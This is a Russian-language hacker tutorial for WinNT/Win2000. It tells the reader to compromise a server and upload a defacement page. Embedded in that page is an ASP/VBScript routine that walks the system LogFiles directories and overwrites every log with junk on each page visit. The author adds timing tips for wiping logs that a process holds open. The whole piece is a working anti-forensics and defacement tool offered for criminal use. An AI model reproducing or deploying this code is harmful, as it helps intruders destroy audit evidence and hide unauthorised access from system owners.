|
div.main {margin-left: 20pt; margin-right: 20pt}Терка логов под WinNT/Win2000.
Никто не хочет оставлять в чужой системе свои следы. Не давно у
меня родилась идея, как от них избавляться в системе WinNT/Win2000.
Некоторые могут сказать, а зачем мне это надо, если я с помощью
команды DEL могу стереть практически любой лог файл. А представтье
себе что этих файлов в системе много и вы заходили в систему не раз,
а бывает еще так что и дир-ов много в которых лежат эти самые лог
файлы, и в какой дир-е лежит нужный лог файл - неизвестно, тем более
что нужный лог файл бывает не возможно стереть из-за того что он
занят другим процессом. Так вот, сейчас вы узнаете как можно от
всего этого безобразия избавиться. Для начала ломанем какой-нить
сервер на базе WinNT/Win2000. Ломанули ? Прек- расно. Заливаем наш
deface. СТОП! Для начала, давайте его отредактируем:
<%
@Language = "VBScript" %> ' надеюсь с этим
<%
Response.buffer = true %> ' все
<HTML> '
понтяно
<body bgcolor=black> '
<% ' начало вставки на
VBS
Function ShowFolderList(folderspec)
' Наша функция,
которая будет
' будет ползать по дирам
' в поисках жертв
'
folderspec - указывает на дир
' с которого начинаем
сканить
Dim fso, f, f1, s, sf ' объявляем переменные
Set
fso = CreateObject("Scripting.FileSystemObject")
' теперь мы
можем делать
' с файлами и дирами
' все что угодно
Set
f = fso.GetFolder(folderspec) ' тут мы позлаем
Set sf =
f.SubFolders ' по дирам в
For Each f1 in sf ' поисках
файлов
Response.Write FuckFile(f1.path) ' найдя их, мы приносим
их
Next ' в жертву
End Function ' Response.Write
ShowFolderList("c:winntsystem32logfiles") ' типа вызываем
'
функцию
'вместо c:winntsys ..... укажите свой путь до папки
с....
Function FuckFile(folderspec) ' Сейчас будем всех
убивать
On Error Resume Next ' Не обращаем внимание на
возникшие
' ошибки
Set fso =
CreateObject("Scripting.FileSystemObject")
Set f =
fso.GetFolder(folderspec)
For each filefound in f.files ' если
наши файл
Set NerF = fso.CreateTextFile(filefound,True) ' то
обнуляем его
' и
NerF.WriteLine("System Error 404") '
записываем в него
NerF.Close ' всякий бред
Next
End
Function ' конец функии
%> ' конец вставки на VBS
<P
ALIGN=CENTER>
<IMG SRC="nerf.jpg">
<br>
<br>
E-mail: <a href=mailto:tANDm@NerF.ru>U wuz
hacked mail to this
E-mail</a>
</P>
</BODY>
</HTML>
Значит
так, заливаем это все на сервер жертвы и любуемся. Во время того как
кто-то заходит на этот сервер, активизируется наш скрипт, который
изменяет лог-файлы. Для того что бы изменить лог файл который занят
процессом, просто возьмите и задефейсте сервер, за 5 мин., до смены
лог-файла процессом. После этого, можете смело зайти ( можете и не
заходить, т.к. рано или поздно, это сделает кто-нить другой =) на
страничку, и гадский лог-файл, отымеется.
Author: tANDm
|
